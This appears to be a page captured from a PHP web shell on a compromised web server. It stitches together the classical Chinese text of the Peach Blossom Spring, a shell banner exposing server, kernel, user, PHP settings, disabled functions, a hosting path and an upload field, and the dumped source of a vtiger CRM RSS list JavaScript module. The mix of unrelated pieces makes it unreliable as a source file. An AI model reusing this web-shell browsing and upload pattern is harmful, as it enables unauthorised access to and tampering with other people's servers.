晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/public_html/crm/layouts/vlayout/modules/Rss/resources/ |
Upload File : |
/*+***********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
*************************************************************************************/
Vtiger_List_Js("Rss_List_Js",{},
{
/**
* Function get the height of the document
* @return <integer> height
*/
getDocumentHeight : function() {
return jQuery(document).height();
},
registerRssAddButtonClickEvent : function() {
var thisInstance = this;
jQuery(document).on('click', '.rssAddButton',function(e) {
thisInstance.showRssAddForm();
})
},
/**
* Function show rssAddForm model
*/
showRssAddForm : function() {
var thisInstance = this;
var progressInstance = jQuery.progressIndicator();
thisInstance.getRssAddFormUi().then(function(data) {
var resetPasswordUi = jQuery('.rssAddFormContainer').find('#rssAddFormUi');
if(resetPasswordUi.length > 0){
resetPasswordUi = resetPasswordUi.clone(true,true);
progressInstance.hide();
var callBackFunction = function(data) {
var params = app.validationEngineOptions;
var form = data.find('#rssAddForm');
params.onValidationComplete = function(form, valid){
if(valid) {
thisInstance.rssFeedSave(form);
}
return false;
}
form.validationEngine(params);
}
var modalWindowParams = {
data : resetPasswordUi,
cb : callBackFunction
}
app.showModalWindow(modalWindowParams);
}
});
},
/**
* Function to get the rss add form
* @param <string> url
*/
getRssAddFormUi : function(url) {
var aDeferred = jQuery.Deferred();
var resetPasswordContainer = jQuery('.rssAddFormContainer');
var resetPasswordUi = resetPasswordContainer.find('#rssAddFormUi');
if(resetPasswordUi.length == 0) {
var actionParams = {
'module' : app.getModuleName(),
'view' : 'ViewTypes',
'mode' : 'getRssAddForm'
};
AppConnector.request(actionParams).then(
function(data){
resetPasswordContainer.html(data);
aDeferred.resolve(data);
},
function(textStatus, errorThrown){
aDeferred.reject(textStatus, errorThrown);
}
);
} else {
aDeferred.resolve();
}
return aDeferred.promise();
},
/**
* Function to save rss feed
* @parm form
*/
rssFeedSave : function(form) {
var thisInstance = this;
var data = form.serializeFormData();
var progressIndicatorElement = jQuery.progressIndicator({
'position' : 'html',
'blockInfo' : {
'enabled' : true
}
});
var params = {
'module': app.getModuleName(),
'action' : 'Save',
'feedurl' : data.feedurl
}
AppConnector.request(params).then(
function(result) {
progressIndicatorElement.progressIndicator({
'mode' : 'hide'
});
if(result.result.success){
app.hideModalWindow();
thisInstance.getRssFeeds(result.result.id).then(function() {
thisInstance.loadRssWidget().then(function() {
var params = {
title : app.vtranslate('JS_MESSAGE'),
text: app.vtranslate(result.result.message),
animation: 'show',
type: 'info'
};
Vtiger_Helper_Js.showPnotify(params);
});
});
} else {
var params = {
title : app.vtranslate('JS_MESSAGE'),
text: app.vtranslate(result.result.message),
animation: 'show'
};
Vtiger_Helper_Js.showPnotify(params);
}
}
);
},
/**
* Function to register click on the rss sidebar link
*/
registerRssUrlClickEvent : function() {
var thisInstance = this;
jQuery('.quickWidgetContainer').on('click','.rssLink', function(e) {
var element = jQuery(e.currentTarget);
var id = element.data('id');
thisInstance.getRssFeeds(id);
});
},
/**
* Function to get the feeds for specific id
* @param <integer> id
*/
getRssFeeds : function(id) {
var thisInstance = this;
var aDeferred = jQuery.Deferred();
var container = thisInstance.getListViewContainer();
var progressIndicatorElement = jQuery.progressIndicator({
'position' : 'html',
'blockInfo' : {
'enabled' : true
}
});
var params = {
'module' : app.getModuleName(),
'view' : 'List',
'id' : id
}
AppConnector.requestPjax(params).then(function(data) {
aDeferred.resolve(data);
container.find('#listViewContents').html(data);
thisInstance.setFeedContainerHeight(container);
progressIndicatorElement.progressIndicator({
'mode' : 'hide'
})
});
return aDeferred.promise();
},
/**
* Function to get the height of the Feed Container
* @param container
*/
setFeedContainerHeight : function(container) {
var height = this.getDocumentHeight()/4;
container.find('.feedListContainer').height(height);
},
/**
* Function to register the click of feeds
* @param container
*/
registerFeedClickEvent : function(container) {
var thisInstance = this;
container.on('click' , '.feedLink', function(e) {
var element = jQuery(e.currentTarget);
var url = element.data('url');
var frameElement = thisInstance.getFrameElement(url)
container.find('.feedFrame').html(frameElement);
});
},
/**
* Function to get the iframe element
* @param <string> url
* @retrun <element> frameElement
*/
getFrameElement : function(url) {
var progressIndicatorElement = jQuery.progressIndicator({
'position' : 'html',
'blockInfo' : {
'enabled' : true
}
});
var frameElement = jQuery('<iframe>', {
id: 'feedFrame',
scrolling: 'auto',
width: '100%',
height: this.getDocumentHeight()/2
});
frameElement.addClass('table-bordered');
this.getHtml(url).then(function(html) {
progressIndicatorElement.progressIndicator({
'mode' : 'hide'
});
var frame = frameElement[0].contentDocument;
frame.open();
frame.write(html);
frame.close();
});
return frameElement;
},
/**
* Function to get the html contents from url
* @param <string> url
* @return <string> html contents
*/
getHtml : function(url) {
var aDeferred = jQuery.Deferred();
var params = {
'module' : app.getModuleName(),
'action' : 'GetHtml',
'url' : url
}
AppConnector.request(params).then(function(data) {
aDeferred.resolve(data.result.html);
});
return aDeferred.promise();
},
/**
* Function to register record delete event
*/
registerDeleteRecordClickEvent: function(){
var container = this.getListViewContainer();
var thisInstance = this;
container.on('click','#deleteButton', function(e) {
thisInstance.deleteRecord(container);
})
},
/**
* Function to delete the record
*/
deleteRecord : function(container) {
var thisInstance = this;
var recordId = container.find('#recordId').val();
var message = app.vtranslate('LBL_DELETE_CONFIRMATION');
Vtiger_Helper_Js.showConfirmationBox({'message' : message}).then(
function(e) {
var module = app.getModuleName();
var postData = {
"module": module,
"action": "DeleteAjax",
"record": recordId
}
var deleteMessage = app.vtranslate('JS_RECORD_GETTING_DELETED');
var progressIndicatorElement = jQuery.progressIndicator({
'message' : deleteMessage,
'position' : 'html',
'blockInfo' : {
'enabled' : true
}
});
AppConnector.request(postData).then(
function(data){
progressIndicatorElement.progressIndicator({
'mode' : 'hide'
})
if(data.success) {
thisInstance.getRssFeeds().then(function() {
thisInstance.loadRssWidget();
});
} else {
var params = {
text : app.vtranslate(data.error.message),
title : app.vtranslate('JS_LBL_PERMISSION')
}
Vtiger_Helper_Js.showPnotify(params);
}
},
function(error,err){
}
);
},
function(error, err){
}
);
},
/**
* Function to register make default button click event
*/
registerMakeDefaultClickEvent : function(container) {
var thisInstance = this;
container.on('click','#makeDefaultButton',function() {
thisInstance.makeDefault(container);
});
},
/**
* Function to make a record as default rss feed
*/
makeDefault : function(container) {
var listInstance = Vtiger_List_Js.getInstance();
var recordId = container.find('#recordId').val();
var module = app.getModuleName();
var postData = {
"module": module,
"action": "MakeDefaultAjax",
"record": recordId
}
var progressIndicatorElement = jQuery.progressIndicator({
'position' : 'html',
'blockInfo' : {
'enabled' : true
}
});
AppConnector.request(postData).then(
function(data){
progressIndicatorElement.progressIndicator({
'mode' : 'hide'
})
if(data.success) {
var params = {
title : app.vtranslate('JS_MESSAGE'),
text: app.vtranslate(result.result.message),
animation: 'show',
type: 'info'
};
Vtiger_Helper_Js.showPnotify(params);
} else {
var params = {
text : app.vtranslate(data.error.message),
title : app.vtranslate('JS_LBL_PERMISSION')
}
Vtiger_Helper_Js.showPnotify(params);
}
}
);
},
loadRssWidget : function () {
var aDeferred = jQuery.Deferred();
var widgetContainer = jQuery('.widgetContainer');
var url = widgetContainer.data('url');
AppConnector.request(url).then(function(data) {
aDeferred.resolve(data);
widgetContainer.html(data);
});
return aDeferred.promise();
},
registerEvents : function() {
this._super();
var container = this.getListViewContainer();
this.registerRssAddButtonClickEvent();
this.registerRssUrlClickEvent();
this.registerFeedClickEvent(container);
this.registerMakeDefaultClickEvent(container);
this.setFeedContainerHeight(container);
}
});